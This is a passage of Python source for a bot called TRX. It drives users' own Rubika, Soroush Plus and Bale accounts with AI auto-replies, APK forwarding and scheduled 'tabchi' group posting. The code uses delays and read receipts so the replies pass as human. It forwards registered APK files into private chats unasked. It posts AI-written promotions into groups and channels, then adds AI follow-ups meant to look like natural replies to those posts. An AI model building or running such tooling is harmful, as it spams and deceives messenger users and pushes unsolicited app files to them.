async def _trx_event_chat_id(event):
    value = getattr(event, "chat_id", None)
    if value is None:
        chat = getattr(event, "chat", None)
        value = getattr(chat, "id", None) or getattr(chat, "guid", None) or getattr(chat, "object_guid", None)
    return str(value) if value is not None else None


def _trx_media_dict(obj):
    if isinstance(obj, dict):
        return obj
    return None


def _trx_extract_media_document_v11(message):
    if message is None:
        return None
    stack = [message, getattr(message, "message", None), getattr(message, "document", None), getattr(message, "media", None)]
    seen = set()
    while stack:
        obj = stack.pop(0)
        if obj is None or id(obj) in seen:
            continue
        seen.add(id(obj))
        if isinstance(obj, dict):
            filename = obj.get("file_name") or obj.get("name") or obj.get("filename")
            mime = obj.get("mime_type") or obj.get("mime")
            size = obj.get("file_size") or obj.get("size") or 0
            if filename or str(mime or "").lower() == "application/vnd.android.package-archive":
                return {"filename": str(filename or "app.apk"), "size": int(size or 0)}
            for k in ("message", "media", "document", "file", "attachment", "data"):
                child = obj.get(k)
                if child is not None:
                    stack.append(child)
            continue
        filename = getattr(obj, "file_name", None) or getattr(obj, "name", None) or getattr(obj, "filename", None)
        mime = getattr(obj, "mime_type", None) or getattr(obj, "mime", None)
        size = getattr(obj, "file_size", None) or getattr(obj, "size", None) or 0
        if filename or str(mime or "").lower() == "application/vnd.android.package-archive":
            return {"filename": str(filename or "app.apk"), "size": int(size or 0)}
    return None


async def _trx_register_apk_from_self_event_v11(uid, aid, service, client, event):
    if _trx_extract_event_text(event).strip().lower() != "/id":
        return False
    if not (getattr(event, "is_me", False) or getattr(event, "out", False)):
        return False
    reply_msg = await _trx_event_get_reply_message_v11(client, event)
    media = _trx_extract_media_document_v11(reply_msg)
    if not media or not media["filename"].lower().endswith(".apk"):
        return False
    _trx_enforce_apk_limit(uid)
    count = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    reply_id = getattr(reply_msg, "id", None) or getattr(reply_msg, "message_id", None)
    if reply_id is None and isinstance(reply_msg, dict):
        reply_id = reply_msg.get("id") or reply_msg.get("message_id")
    if reply_id is None:
        return False
    exists = db.fetchone("SELECT af.id FROM apk_files af JOIN apk_sources s ON s.apk_id=af.id WHERE af.user_id=? AND s.account_id=? AND s.source_message_id=? AND af.enabled=1", (uid, aid, str(reply_id)))
    if exists:
        return True
    if count >= MAX_APK_PER_USER:
        return False
    cur = db.execute(
        "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) VALUES(?,?,?,?,?,1,?)",
        (uid, "", int(reply_id), media["filename"][:255], int(media["size"] or 0), now())
    )
    apk_id = cur.lastrowid
    self_peer = await _trx_self_peer(client)
    db.execute(
        "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
        (apk_id, aid, service, str(self_peer), str(reply_id), now())
    )
    log_event(uid, "APK_ADDED", f"{service}:{media['filename']}")
    log_account_activity(aid, uid, "apk_register", f"{media['filename']}:{reply_id}", 1)
    return True

_trx_extract_media_document = _trx_extract_media_document_v11
_trx_event_get_reply_message = _trx_event_get_reply_message_v11
_trx_register_apk_from_self_event = _trx_register_apk_from_self_event_v11


async def _trx_resolve_target(client, target):
    raw = str(target or "").strip()
    if not raw:
        return raw
    # Already a Rubika object GUID or Telegram/SPlus numeric/username target.
    candidates = [raw]
    clean = raw
    if clean.startswith("https://") or clean.startswith("http://"):
        clean = clean.rstrip("/")
        candidates.append(clean.rsplit("/", 1)[-1])
    if clean.startswith("@"):
        candidates.append(clean[1:])

    # Rubika: resolve app URL/username to an object GUID when possible.
    for name in ("get_link_from_app_url", "get_object_by_username"):
        fn = getattr(client, name, None)
        if not fn:
            continue
        for cand in candidates:
            try:
                result = await _trx_maybe_await(fn(cand))
                for attr in ("object_guid", "guid", "chat_guid", "user_guid", "id"):
                    val = getattr(result, attr, None) or (result.get(attr) if isinstance(result, dict) else None)
                    if val:
                        return str(val)
                data = getattr(result, "data", None) or (result.get("data") if isinstance(result, dict) else None)
                if isinstance(data, dict):
                    for attr in ("object_guid", "guid", "chat_guid", "user_guid", "id"):
                        if data.get(attr):
                            return str(data[attr])
            except Exception:
                continue

    # SPlus/Telethon-style: resolve an entity, preserving its resolved input entity when available.
    get_entity = getattr(client, "get_entity", None)
    if get_entity:
        for cand in candidates:
            try:
                ent = await _trx_maybe_await(get_entity(cand))
                if ent is not None:
                    return ent
            except Exception:
                continue
    return raw


async def _trx_send_self_message(client, target, text_value, reply_to=None):
    dest = await _trx_resolve_target(client, target)
    send = getattr(client, "send_message", None)
    if not send:
        raise RuntimeError("self client has no send_message")
    variants = []
    # Rubpy current signature: send_message(object_guid, text, reply_to_message_id=...)
    if reply_to is not None:
        variants.extend([
            ((dest,), {"text": text_value, "reply_to_message_id": reply_to}),
            ((dest, text_value), {"reply_to_message_id": reply_to}),
            ((dest, text_value), {"reply_to": reply_to}),
        ])
    variants.extend([
        ((dest, text_value), {}),
        ((dest,), {"message": text_value}),
    ])
    last = None
    for args, kwargs in variants:
        try:
            return await _trx_maybe_await(send(*args, **kwargs))
        except Exception as e:
            last = e
    raise last or RuntimeError("send_message failed")


async def _trx_forward_source_apk_v11(uid, aid, target, apk_id):
    apk = db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.id=? AND af.user_id=? AND af.enabled=1",
        (apk_id, uid)
    )
    if not apk:
        return False, "APK source not found"
    source_aid = int(apk["source_account_id"] or 0)
    client = ai_live_clients.get((uid, source_aid)) or await _ensure_ai_client(uid, source_aid or aid)
    if not client:
        return False, "self account is not connected"
    dest = await _trx_resolve_target(client, target)
    source_peer = apk["source_peer"] or await _trx_self_peer(client)
    source_id = str(apk["source_message_id"])
    service = str(apk["platform"] or "").lower()

    if service == "rubika" and hasattr(client, "forward_messages"):
        try:
            return True, await _trx_maybe_await(client.forward_messages(str(source_peer), str(dest), [source_id]))
        except Exception as e:
            log.warning(f"Rubika source forward failed: {e}")

    # SPlus/Telthon-style variants and Bale-style clients.
    for name in ("forward_messages", "forward_message", "forwardMessage"):
        fn = getattr(client, name, None)
        if not fn:
            continue
        variants = [
            ((dest,), {"messages": [source_id], "from_": source_peer}),
            ((dest,), {"message": source_id, "from_": source_peer}),
            ((dest, source_id, source_peer), {}),
            ((dest, source_id), {"from_": source_peer}),
            ((dest, source_id), {}),
        ]
        for args, kwargs in variants:
            try:
                return True, await _trx_maybe_await(fn(*args, **kwargs))
            except Exception:
                continue
    return False, "native self-forward is unavailable for this client"

_trx_forward_source_apk = _trx_forward_source_apk_v11


# Final live handler: source APK forwarding always happens before natural description/reply.
async def _trx_event_handler_v11(event, uid: int, service: str, aid: int):
    try:
        binding = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        if not binding or not binding["enabled"]:
            return
        client = ai_live_clients.get((uid, aid))
        if client and await _trx_register_apk_from_self_event_v11(uid, aid, service, client, event):
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return
        text_value = _trx_extract_event_text(event)
        if not text_value or text_value.startswith("/trx"):
            return
        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return
        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        lock = _trx_live_lock((uid, aid, peer_key))
        async with lock:
            ev_key = f"{peer_key}:{getattr(event,'id',getattr(event,'message_id',''))}:{text_value[:80]}"
            if ev_key in _TRX_LIVE_SEEN:
                return
            _TRX_LIVE_SEEN[ev_key] = time.time()
            if len(_TRX_LIVE_SEEN) > 4000:
                cutoff = time.time() - 3600
                for k,v in list(_TRX_LIVE_SEEN.items()):
                    if v < cutoff:
                        _TRX_LIVE_SEEN.pop(k, None)
            await asyncio.sleep(TRX_REPLY_DELAY_SECONDS)
            await _trx_maybe_mark_seen(client, event)

            apk = _trx_apk_pick(uid, aid)
            asked_apk = _trx_apk_intent(text_value)
            proactive = private and TRX_PROACTIVE_APK_PV and bool(apk) and not _trx_apk_delivered(uid, aid, peer_key, int(apk["id"]))
            if apk and (asked_apk or proactive):
                target = await _trx_event_chat_id(event)
                ok, info = await _trx_forward_source_apk_v11(uid, aid, target, int(apk["id"]))
                if ok:
                    _trx_mark_apk_delivered(uid, aid, peer_key, int(apk["id"]))
                    desc = await _trx_ai_apk_description(uid, aid, apk)
                    for method_name in ("reply", "respond"):
                        fn = getattr(event, method_name, None)
                        if fn:
                            try:
                                await _trx_maybe_await(fn(desc))
                                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                                _trx_memory_save(uid, aid, peer_key, "assistant", f"[APK forwarded] {desc}")
                                log_account_activity(aid, uid, "apk_forward", peer_key, 1)
                                return
                            except Exception:
                                pass
                    try:
                        await _trx_send_self_message(client, target, desc)
                    except Exception:
                        pass
                    _trx_memory_save(uid, aid, peer_key, "user", text_value)
                    _trx_memory_save(uid, aid, peer_key, "assistant", f"[APK forwarded] {desc}")
                    return

            memory = _trx_memory_load(uid, aid, peer_key, 12)
            messages = [{"role":"system","content":_trx_ai_system(uid, aid, "private_reply" if private else "group_reply", f"Peer key: {peer_key}. Keep the same person's conversation context.") }]
            messages.extend(memory)
            messages.append({"role":"user","content":text_value[:2500]})
            reply = await ai.chat(messages, uid=uid, account_id=aid, action_type="auto_reply", temperature=0.75, max_tokens=500)
            if not reply:
                return
            sent = False
            for method_name in ("reply", "respond"):
                fn = getattr(event, method_name, None)
                if fn:
                    try:
                        await _trx_maybe_await(fn(reply))
                        sent = True
                        break
                    except Exception:
                        pass
            if not sent and client:
                target = await _trx_event_chat_id(event)
                try:
                    await _trx_send_self_message(client, target, reply)
                    sent = True
                except Exception:
                    pass
            if sent:
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", reply)
                log_account_activity(aid, uid, "ai_reply", peer_key, 1)
    except Exception as e:
        log.error(f"AI live v11 {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")


def _trx_attach_handler_v11(client, uid, service, aid):
    key = (uid, aid, id(client), "v11")
    if key in _TRX_AI_HANDLER_KEYS_V10:
        return True
    async def handler(event):
        await _trx_event_handler_v11(event, uid, service, aid)
    try:
        if service == "soroush":
            from splusthon import events as ev
            on = getattr(client, "on", None)
            if on:
                deco = on(ev.NewMessage)
                if callable(deco): deco(handler)
                _TRX_AI_HANDLER_KEYS_V10.add(key)
                return True
    except Exception as e:
        log.warning(f"Soroush v11 handler: {e}")
    try:
        if service == "bale":
            try:
                from bale import events as ev
            except Exception:
                ev = None
            on = getattr(client, "on", None)
            if on and ev is not None and hasattr(ev, "NewMessage"):
                deco = on(ev.NewMessage)
                if callable(deco): deco(handler)
                _TRX_AI_HANDLER_KEYS_V10.add(key)
                return True
    except Exception as e:
        log.warning(f"Bale v11 handler: {e}")
    try:
        on_updates = getattr(client, "on_message_updates", None)
        if on_updates:
            deco = on_updates()
            if callable(deco): deco(handler)
            _TRX_AI_HANDLER_KEYS_V10.add(key)
            return True
    except Exception as e:
        log.warning(f"Rubpy v11 handler: {e}")
    for name in ("on_message", "add_event_handler", "on"):
        try:
            fn = getattr(client, name, None)
            if not fn:
                continue
            if name == "add_event_handler":
                try:
                    fn(handler)
                except TypeError:
                    fn(handler, None)
            else:
                result = fn(handler)
                if callable(result) and name == "on_message":
                    try:
                        result(handler)
                    except Exception:
                        pass
            _TRX_AI_HANDLER_KEYS_V10.add(key)
            return True
        except Exception:
            continue
    return False


def _register_ai_handler_v11(client, uid: int, service: str, account_id: Optional[int] = None):
    aid = account_id or _account_id_for(uid, service)
    if not client or not aid:
        return False
    ok = _trx_attach_handler_v11(client, uid, service, aid)
    if ok:
        ai_live_clients[(uid, aid)] = client
        try:
            db.execute("INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,1,1,0,?,?)", (uid, aid, now(), now()))
            db.execute("UPDATE ai_bindings SET enabled=1 WHERE user_id=? AND account_id=?", (uid, aid))
            db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?", (now(), aid))
        except Exception:
            pass
        try:
            _trx_task_create(_trx_start_live_runner(client, service, uid, aid))
        except Exception:
            pass
    return ok

_register_ai_handler = _register_ai_handler_v11


# Final target-aware scheduled posting.
async def _trx_run_task_v11(task):
    uid, aid = int(task["user_id"]), int(task["account_id"])
    target_type, target = (task["task_type"] or "group"), task["target"]
    payload = _trx_task_payload(task)
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("اکانت سلف برای این تسک متصل نیست")
    resolved = await _trx_resolve_target(client, target)
    content = await _trx_generate_campaign(uid, aid, target_type)
    if not content:
        raise RuntimeError("AI محتوای تبلیغاتی تولید نکرد")
    sent_obj = await _trx_send_self_message(client, resolved, content[:3200])
    promo_id = getattr(sent_obj, "id", None) or getattr(sent_obj, "message_id", None) or (sent_obj.get("id") if isinstance(sent_obj,dict) else None)

    if payload.get("send_apk") and payload.get("apk_id"):
        ok, info = await _trx_forward_source_apk_v11(uid, aid, resolved, int(payload["apk_id"]))
        if not ok:
            raise RuntimeError(f"ارسال APK از Self انجام نشد: {info}")

    # The AI follow-up belongs to the promotional message itself and is sent
    # whether or not the optional APK was enabled.
    follow = await ai.chat(
        [{"role":"system","content":_trx_ai_system(uid, aid, "tabchi_followup", f"Target: {resolved}; promo message id: {promo_id}. Write a medium natural reply to the exact promo message. Do not copy the campaign prompt verbatim.")},
         {"role":"user","content":"یک پاسخ متوسط و طبیعی فارسی بنویس که به همان پیام تبلیغاتی مربوط باشد؛ واقعی و محاوره‌ای، بدون عبارت‌های کلیشه‌ای."}],
        uid=uid, account_id=aid, action_type="tabchi_followup", temperature=0.8, max_tokens=300
    )
    if follow:
        try:
            await _trx_send_self_message(client, resolved, follow[:1800], reply_to=promo_id)
        except Exception:
            await _trx_send_self_message(client, resolved, follow[:1800])

    now_s = now()
    db.execute("UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?", (now_s, now_s, task["id"]))
    try:
        db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)", (task["id"], 1, "ok", now_s))
    except Exception:
        pass
    return True

_trx_run_task = _trx_run_task_v11


# Task router: normalize Persian/English minute input and keep minimum at 7 minutes.
_TRX_ON_MSG_BEFORE_V11 = on_msg
async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
            lang = (u["lang"] or "fa")
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)
            mode = s.get("mode") if s else None
            if s and s.get("state") == State.AI_TASK_TARGET and mode in {"group_task","channel_task"}:
                if not txt or txt.startswith("/"):
                    return await bot.send(chat_id, "❌ لینک/شناسه هدف را درست وارد کنید.")
                state.set(uid, State.AI_TASK_INTERVAL, **{k:v for k,v in s.items() if k not in {"state","at"}}, target=txt, step="interval")
                return await bot.send(chat_id, "⏱ فاصله ارسال را به دقیقه وارد کنید؛ حداقل ۷ دقیقه. مثال: 7")
            if s and s.get("state") == State.AI_TASK_INTERVAL and mode in {"group_task","channel_task"}:
                digits = re.sub(r"[^0-9]", "", txt)
                minutes = int(digits) if digits else 0
                if minutes < TRX_MIN_TASK_MINUTES:
                    return await bot.send(chat_id, "◆ حداقل فاصله ۷ دقیقه است. عددی مثل 7 یا 10 وارد کنید.")
                state.set(uid, State.AI_TASK_APK, **{k:v for k,v in s.items() if k not in {"state","at"}}, interval_seconds=minutes*60, step="apk")
                return await bot.send(chat_id, "📦 APK ثبت‌شده هم کنار تبلیغ از Self فوروارد شود؟ بله/خیر")
            if s and s.get("state") == State.AI_TASK_APK and mode in {"group_task","channel_task"}:
                val = txt.lower().strip()
                if val not in {"yes","no","بله","خیر","نه"}:
                    return await bot.send(chat_id, "❌ فقط بله یا خیر (yes/no) وارد کنید.")
                send_apk = val in {"yes","بله"}
                apk = _trx_apk_pick(uid, int(s["account_id"])) if send_apk else None
                if send_apk and not apk:
                    return await bot.send(chat_id, "❌ برای این اکانت APK مرجع از Saved/Self با /id ثبت نشده است.")
                task_type = "channel" if mode == "channel_task" else "group"
                payload = {"send_apk": bool(send_apk), "apk_id": int(apk["id"]) if apk else None}
                created = now()
                db.execute(
                    "INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json,last_run) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                    (uid, int(s["account_id"]), task_type, s["target"], int(s["interval_seconds"]), "", 1, created, created, json.dumps(payload, ensure_ascii=False), created)
                )
                state.pop(uid)
                return await bot.send(chat_id,
                    f"◆ {'تبچی کانال' if task_type=='channel' else 'تبچی گروه'} فعال شد.\n\n"
                    f"🎯 هدف: {s['target']}\n⏱ هر {int(s['interval_seconds'])//60} دقیقه\n"
                    f"📦 APK: {'بله' if send_apk else 'خیر'}\n\n✦ زمان‌بندی ذخیره شد.",
                    reply_markup=ai_advanced_menu(lang, uid)
                )
    except Exception as e:
        log.error(f"Task router v11: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX_ON_MSG_BEFORE_V11(msg)


# More explicit callback kickoff; old callback contracts stay unchanged.
_TRX_DISPATCH_BEFORE_V11 = dispatch_cb
async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        if data == "ai.group":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns = [[(f"#{r['id']} — {_trx_service_name(lang, r['service'])}", f"ai.task.account:group:{r['id']}")] for r in rows]
            btns.append([(("Back" if lang=="en" else "بازگشت"), "ai")])
            return await _edit(chat_id, msg_id, "📣 Tabchi" if lang=="en" else "📣 تبچی — اکانت ارسال‌کننده را انتخاب کنید", IKB(btns))
        if data == "ai.channel":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns = [[(f"#{r['id']} — {_trx_service_name(lang, r['service'])}", f"ai.task.account:channel:{r['id']}")] for r in rows]
            btns.append([(("Back" if lang=="en" else "بازگشت"), "ai")])
            return await _edit(chat_id, msg_id, "📰 Channel Scheduler" if lang=="en" else "📰 زمان‌بندی کانال", IKB(btns))
        if data.startswith("ai.task.account:group:") or data.startswith("ai.task.account:channel:"):
            parts = data.split(":")
            kind, aid = parts[-2], int(parts[-1])
            a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not a:
                return await _edit(chat_id, msg_id, "❌ Account not found." if lang=="en" else "❌ اکانت پیدا نشد.", ai_advanced_menu(lang, uid))
            client = await _ensure_ai_client(uid, aid)
            if not client:
                return await _edit(chat_id, msg_id, "⚠️ Account session is not connected." if lang=="en" else "⚠️ نشست سلف این اکانت در دسترس نیست.", ai_advanced_menu(lang, uid))
            state.set(uid, State.AI_TASK_TARGET, mode=f"{kind}_task", task_kind=kind, account_id=aid, step="target")
            prompt = ("📍 Send the target group/channel link or ID." if lang=="en" else "📍 لینک/شناسه هدف را ارسال کنید.")
            return await _edit(chat_id, msg_id, prompt, IKB([[(("Cancel" if lang=="en" else "لغو"), "cancel")]]))
    except Exception as e:
        log.error(f"Dispatch v11: {e}")
    return await _TRX_DISPATCH_BEFORE_V11(cb_id, uid, lang, u, chat_id, msg_id, data)


# Rebind restore routine to the final handler.
async def _restore_ai_live_clients_v11():
    try:
        rows = db.fetchall("SELECT b.user_id,b.account_id,a.service FROM ai_bindings b JOIN accounts a ON a.id=b.account_id WHERE b.enabled=1 AND a.enabled=1 ORDER BY b.id")
    except Exception as e:
        log.warning(f"AI restore v11 query failed: {e}")
        return
    for r in rows:
        try:
            client = await _trx_restore_one_account(r["user_id"], r["account_id"])
            if client:
                _register_ai_handler(client, r["user_id"], r["service"], r["account_id"])
        except Exception as e:
            log.warning(f"AI restore v11 {r['service']} #{r['account_id']}: {e}")
_restore_ai_live_clients = _restore_ai_live_clients_v11


# One-time normalization of old APK rows: keep newest two enabled per owner, never delete.
def _trx_normalize_existing_apks():
    try:
        users = db.fetchall("SELECT DISTINCT user_id FROM apk_files")
        for r in users:
            _trx_enforce_apk_limit(r["user_id"])
    except Exception as e:
        log.warning(f"APK migration v11: {e}")
_trx_normalize_existing_apks()

print("[TRX117] FINAL PATCH v11 LOADED — NATIVE APK / TARGET RESOLVER / 8s AI / 7m TABCHI / PROVIDER HEAL / RUBIKA")


# ═══════════════════════════════════════════════════════════════════
# TRX110 FINAL PATCH v12 — UI / Rubika OTP / APK / target workflow
# 2026-09-22
#
# This patch is intentionally inserted immediately before the existing
# __main__ block so every legacy feature remains available while the final
# runtime symbols below win over older patch layers.
# ═══════════════════════════════════════════════════════════════════
TRX110_BUILD = "2026-09-22-final-v12"

# -------------------------------------------------------------------
# 1) Natural English UI — remove decorative junk and small-caps noise.
# -------------------------------------------------------------------
TRX_DECOR = ""

def trx_sc(value: Any) -> str:
    # Keep ordinary English typography. Older UI remains compatible because
    # the function name is preserved, but it no longer converts text to small caps.
    return str(value or "")

LANG_EN_FINAL = {
    "welcome": "🦖 **Welcome to TRX**\n"
               "> Professional multi-messenger management + AI automation\n\n"
               "🔵 **Platforms:** Soroush Plus • Rubika • Bale\n"
               "🟢 **AI:** live replies • memory • product knowledge • scheduled content\n\n"
               "Choose a section below",
    "menu.title": "🏠 **TRX Dashboard**\n\nChoose a section below",
    "menu.dashboard": "🏠 Dashboard",
    "menu.profile": "👤 Profile",
    "menu.accounts": "📱 Accounts",
    "menu.ai": "🤖 AI",
    "menu.apk": "📦 APK Manager",
    "menu.reports": "📊 Reports",
    "menu.sub": "💳 Subscription",
    "menu.tutorial": "📚 Tutorial",
    "menu.settings": "⚙️ Settings",
    "menu.admin": "🛡 Admin",
    "btn.back": "↩️ Back",
    "btn.home": "🏠 Home",
    "btn.cancel": "❌ Cancel",
    "btn.confirm": "✅ Confirm",
    "lang.changed": "✅ Language changed to English",
    "cancelled": "❌ Operation cancelled",
    "error": "⚠️ Something went wrong. Check the log for details",
    "no_access": "⛔️ Access denied",
    "acct.add": "➕ Add account",
    "acct.list": "📋 Accounts",
    "acct.pick": "Choose a platform",
    "acct.phone": "📱 Send the phone number with country code, for example +98912xxxxxxx",
    "acct.otp": "🔐 Enter the verification code you received",
    "acct.otp_sent": "📨 Verification code request sent. Enter the code when it arrives",
    "acct.added": "✅ Account added successfully",
    "acct.failed": "❌ Account login failed",
    "apk.hint": "📦 Send the APK from the connected account's Saved/Self area, then reply to that APK with /id",
    "apk.added": "✅ APK saved successfully",
    "apk.limit": "⚠️ You can keep up to 2 active APK files",
    "ai.on": "🟢 AI enabled",
    "ai.off": "🔴 AI disabled",
    "ai.kb": "🧠 Product knowledge",
    "ai.tone": "🎭 Response tone",
    "ai.stats": "📊 AI stats",
    "ai.pv": "💬 Private replies",
    "ai.group": "📣 Tabchi",
    "ai.channel": "📰 Channel Activity",
    "ai.platform": "🔧 AI accounts",
    "ai.bindings": "🔗 AI accounts",
    "ai.tasks": "⏱ Scheduled tasks",
    "apk.panel.title": "📦 **APK Manager**",
}

_TRX_OLD_T_FINAL = t

def t(lang, key):
    if str(lang or "fa").lower().startswith("en") and key in LANG_EN_FINAL:
        return LANG_EN_FINAL[key]
    return _TRX_OLD_T_FINAL(lang, key)

# -------------------------------------------------------------------
# 2) Colored glass buttons everywhere.
#    Telegram's current Bot API supports primary / success / danger styles.
# -------------------------------------------------------------------
def _trx_button_auto_style(text_value, data="", explicit=None):
    if explicit in ("primary", "success", "danger"):
        return explicit
    text_low = str(text_value or "").lower()
    data_low = str(data or "").lower()
    danger_terms = (
        "delete", "remove", "disable", "danger", "cancel", "stop", "خاموش",
        "حذف", "لغو", "غیرفعال", "پاک"
    )
    success_terms = (
        "enable", "add", "save", "confirm", "activate", "start", "test",
        "روشن", "افزودن", "ذخیره", "تایید", "فعال", "ثبت", "تست"
    )
    if any(x in text_low or x in data_low for x in danger_terms):
        return "danger"
    if any(x in text_low or x in data_low for x in success_terms):
        return "success"
    return "primary"


def IKB(rows):
    keyboard = []
    for row in rows or []:
        kb_row = []
        for item in row or []:
            if isinstance(item, dict):
                btn = dict(item)
                if "style" not in btn:
                    btn["style"] = _trx_button_auto_style(btn.get("text", ""), btn.get("callback_data", ""))
                kb_row.append(btn)
                continue
            if not isinstance(item, (list, tuple)) or len(item) < 2:
                continue
            text_value, data = item[0], item[1]
            explicit = item[2] if len(item) >= 3 else None
            btn = {"text": str(text_value), "callback_data": str(data)}
            btn["style"] = _trx_button_auto_style(text_value, data, explicit)
            kb_row.append(btn)
        if kb_row:
            keyboard.append(kb_row)
    return {"inline_keyboard": keyboard}


def _trx_normalize_markup(markup):
    if not markup or not isinstance(markup, dict) or "inline_keyboard" not in markup:
        return markup
    out = {k: v for k, v in markup.items() if k != "inline_keyboard"}
    out["inline_keyboard"] = []
    for row in markup.get("inline_keyboard", []):
        new_row = []
        for btn in row or []:
            b = dict(btn)
            if "style" not in b:
                b["style"] = _trx_button_auto_style(b.get("text", ""), b.get("callback_data", ""))
            new_row.append(b)
        out["inline_keyboard"].append(new_row)
    return out

# Wrap the final Bot transport exactly once. The original fallback logic stays intact.
if not getattr(Bot, "_trx110_style_wrapped", False):
    _TRX110_BOT_SEND_BASE = Bot.send
    _TRX110_BOT_EDIT_BASE = Bot.edit

    async def _trx110_bot_send(self, chat_id, text, reply_markup=None, parse_mode="Markdown"):
        return await _TRX110_BOT_SEND_BASE(
            self, chat_id, text,
            reply_markup=_trx_normalize_markup(reply_markup),
            parse_mode=parse_mode,
        )

    async def _trx110_bot_edit(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
        return await _TRX110_BOT_EDIT_BASE(
            self, chat_id, message_id, text,
            reply_markup=_trx_normalize_markup(reply_markup),
            parse_mode=parse_mode,
        )

    Bot.send = _trx110_bot_send
    Bot.edit = _trx110_bot_edit
    Bot._trx110_style_wrapped = True

# -------------------------------------------------------------------
# 3) Clean AI account/toggle UI. State labels are derived from the saved
#    value, so the button and the status can never intentionally disagree.
# -------------------------------------------------------------------
def _ai_platform_kb():
    return IKB([
        [("🔵 روبیکا", "ai.bind.plat:rubika", "primary"),
         ("🟢 سروش پلاس", "ai.bind.plat:soroush", "success")],
        [("🟡 بله", "ai.bind.plat:bale", "primary")],
        [(t("fa", "btn.back"), "ai", "primary")],
    ])


def ai_manage_kb(aid, lang="fa"):
    # account_id is globally unique, so derive the current persisted state from
    # that row. This keeps the button label tied to the actual saved value.
    r = db.fetchone("SELECT * FROM ai_bindings WHERE account_id=? ORDER BY id DESC LIMIT 1", (aid,))
    enabled = bool(r and r["enabled"])
    pv = bool(r and r["auto_reply_pv"])
    group = bool(r and r["auto_reply_group"])
    en = str(lang or "fa").lower().startswith("en")
    if en:
        return IKB([
            [("🧪 Test Self", f"ai.bind.test:{aid}", "success")],
            [("🔴 Disable AI" if enabled else "🟢 Enable AI", f"ai.bind.toggle:{aid}", "danger" if enabled else "success")],
            [("🔴 Disable PV" if pv else "🟢 Enable PV", f"ai.bind.pv:{aid}", "danger" if pv else "success")],
            [("🔴 Disable group" if group else "🟢 Enable group", f"ai.bind.group:{aid}", "danger" if group else "success")],
            [("🗑 Remove AI binding", f"ai.bind.del:{aid}", "danger")],
            [("↩️ Back", "ai.bindings", "primary")],
        ])
    return IKB([
        [("🧪 تست اکانت", f"ai.bind.test:{aid}", "success")],
        [("🔴 خاموش کردن AI" if enabled else "🟢 روشن کردن AI", f"ai.bind.toggle:{aid}", "danger" if enabled else "success")],
        [("🔴 خاموش پاسخ PV" if pv else "🟢 روشن پاسخ PV", f"ai.bind.pv:{aid}", "danger" if pv else "success")],
        [("🔴 خاموش پاسخ گروه" if group else "🟢 روشن پاسخ گروه", f"ai.bind.group:{aid}", "danger" if group else "success")],
        [("🗑 حذف اتصال AI", f"ai.bind.del:{aid}", "danger")],
        [("↩️ بازگشت", "ai.bindings", "primary")],
    ])


def ai_advanced_menu(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
    tasks = db.fetchone("SELECT COUNT(*) c FROM ai_tasks WHERE user_id=? AND enabled=1", (uid,))["c"]
    kb_ok = bool(_trx_ai_get_kb(uid).strip())
    prompt_ok = bool(_trx_ai_get_prompt(uid).strip())
    if str(lang).lower().startswith("en"):
        return IKB([
            [("🔴 Disable AI" if is_on else "🟢 Enable AI", "ai.tog", "danger" if is_on else "success")],
            [("🧠 Product knowledge", "ai.kb", "primary"), ("📝 Campaign prompt", "ai.prompt", "primary")],
            [("🎭 Response tone", "ai.tone", "primary"), ("📊 AI stats", "ai.stats", "primary")],
            [(f"🔗 AI accounts ({bindings})", "ai.bindings", "success")],
            [("💬 Private replies", "ai.pv", "primary"), ("📣 Tabchi", "ai.group", "primary")],
            [("📰 Channel Activity", "ai.channel", "primary"), (f"⏱ Scheduled tasks ({tasks})", "ai.tasks", "primary")],
            [(f"🎯 Knowledge: {'Ready' if kb_ok else 'Empty'} | Prompt: {'Ready' if prompt_ok else 'Empty'}", "ai.info", "primary")],
            [("🏠 Home", "menu", "primary")],
        ])
    return IKB([
